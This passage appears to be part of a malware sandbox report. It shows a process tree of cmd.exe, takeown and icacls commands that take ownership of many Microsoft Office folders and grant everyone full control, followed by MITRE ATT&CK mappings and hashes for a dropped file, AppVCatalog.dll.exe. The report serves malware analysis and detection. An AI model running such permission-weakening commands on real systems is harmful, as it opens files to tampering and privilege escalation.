    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ECLIPSE
    3⤵
    PID:3128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE /grant everyone:(f)
  2⤵
  PID:4036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EDGE
    3⤵
    PID:64
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN /grant everyone:(f)
  2⤵
  PID:1616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN
    3⤵
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN /grant everyone:(f)
  2⤵
  PID:1196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE /grant everyone:(f)
  2⤵
  PID:4112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE
    3⤵
    PID:4304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST /grant everyone:(f)
  2⤵
  PID:3796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\INDUST
    3⤵
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\IRIS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\IRIS /grant everyone:(f)
  2⤵
  PID:4416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\IRIS
    3⤵
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL /grant everyone:(f)
  2⤵
  PID:880
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\JOURNAL
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS /grant everyone:(f)
  2⤵
  PID:5076
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LAYERS
    3⤵
    - Possible privilege escalation attempt
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL /grant everyone:(f)
  2⤵
  PID:3180
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\LEVEL
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK /grant everyone:(f)
  2⤵
  PID:2268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\NETWORK
    3⤵
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS /grant everyone:(f)
  2⤵
  PID:2896
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PAPYRUS
    3⤵
    PID:868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL /grant everyone:(f)
  2⤵
  PID:2700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PIXEL
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE /grant everyone:(f)
  2⤵
  PID:2120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE
    3⤵
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD /grant everyone:(f)
  2⤵
  PID:4976
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\QUAD
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL /grant everyone:(f)
  2⤵
  PID:1956
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED /grant everyone:(f)
  2⤵
  PID:3476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED
    3⤵
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR /grant everyone:(f)
  2⤵
  PID:3244
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR
    3⤵
    PID:460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE /grant everyone:(f)
  2⤵
  PID:4396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RIPPLE
    3⤵
    PID:4876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE /grant everyone:(f)
  2⤵
  PID:4516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN /grant everyone:(f)
  2⤵
  PID:4508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SATIN
    3⤵
    PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY /grant everyone:(f)
  2⤵
  PID:60
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SKY
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE /grant everyone:(f)
  2⤵
  PID:2628
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE
    3⤵
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA /grant everyone:(f)
  2⤵
  PID:4812
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SONORA
    3⤵
    PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING /grant everyone:(f)
  2⤵
  PID:232
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SPRING
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE /grant everyone:(f)
  2⤵
  PID:116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE
    3⤵
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO /grant everyone:(f)
  2⤵
  PID:4100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO
    3⤵
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG /grant everyone:(f)
  2⤵
  PID:4840
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG
    3⤵
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER /grant everyone:(f)
  2⤵
  PID:4268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR /grant everyone:(f)
  2⤵
  PID:4680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR
    3⤵
    PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT /grant everyone:(f)
  2⤵
  PID:2912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT
    3⤵
    - Modifies file permissions
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES /grant everyone:(f)
  2⤵
  PID:2676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES
    3⤵
    PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENFR && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENFR /grant everyone:(f)
  2⤵
  PID:4776
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENFR
    3⤵
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ESEN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ESEN /grant everyone:(f)
  2⤵
  PID:400
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ESEN
    3⤵
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\FREN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\FREN /grant everyone:(f)
  2⤵
  PID:2412
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\FREN
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA /grant everyone:(f)
  2⤵
  PID:4512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA
    3⤵
    PID:4672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1 /grant everyone:(f)
  2⤵
  PID:1656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1
    3⤵
    PID:3508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033 /grant everyone:(f)
  2⤵
  PID:3524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\VBA\VBA7.1\1033
    3⤵
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions /grant everyone:(f)
  2⤵
  PID:3476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions
    3⤵
    PID:4404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16 /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16
    3⤵
    PID:620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN /grant everyone:(f)
  2⤵
  PID:3392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN
    3⤵
    - Modifies file permissions
    PID:3456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN\1033 /grant everyone:(f)
  2⤵
  PID:1580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\BIN\1033
    3⤵
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC /grant everyone:(f)
  2⤵
  PID:4992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC
    3⤵
    PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC\Data Sources && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC\Data Sources /grant everyone:(f)
  2⤵
  PID:4196
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\ODBC\Data Sources
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System /grant everyone:(f)
  2⤵
  PID:2968
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System
    3⤵
    - Modifies file permissions
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System\ole db && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System\ole db /grant everyone:(f)
  2⤵
  PID:4900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\System\ole db
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86 /grant everyone:(f)
  2⤵
  PID:540
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared /grant everyone:(f)
  2⤵
  PID:996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared
    3⤵
    PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\EQUATION && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\EQUATION /grant everyone:(f)
  2⤵
  PID:3252
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\EQUATION
    3⤵
    PID:3724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16 /grant everyone:(f)
  2⤵
  PID:940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16
    3⤵
    PID:4476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\1033 && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\1033 /grant everyone:(f)
  2⤵
  PID:3692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\1033
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\Cultures && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\Cultures /grant everyone:(f)
  2⤵
  PID:4680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\Cultures
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\en-us && icacls C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\en-us /grant everyone:(f)
  2⤵
  PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AppVCatalog.dll.exe

Path C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVCatalog.dll.exe
Size 166KB
SHA256 34008e2057df8842df210246995385a0441dc1e081d60ad15bd481e062e7f100
MD5 a47cbe969ea935bdd3ab568bb126bc80
SHA1 15f2facfd05daf46d2c63912916bf2887cebd98a
SHA512 f5c81e6dc4d916944304fc85136e1ff6dee29a21e50a54fe6280a475343eccbfe094171d62475db5f38e07898c061126158c34d48b9d8f4f57f76d49e564e3fc
SSDEEP 3072:msNqucZTg4mNLGoo0uTQNA7VjU25B+WUZxtt:mssucZTtGjfuTQqhLB+nZh
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads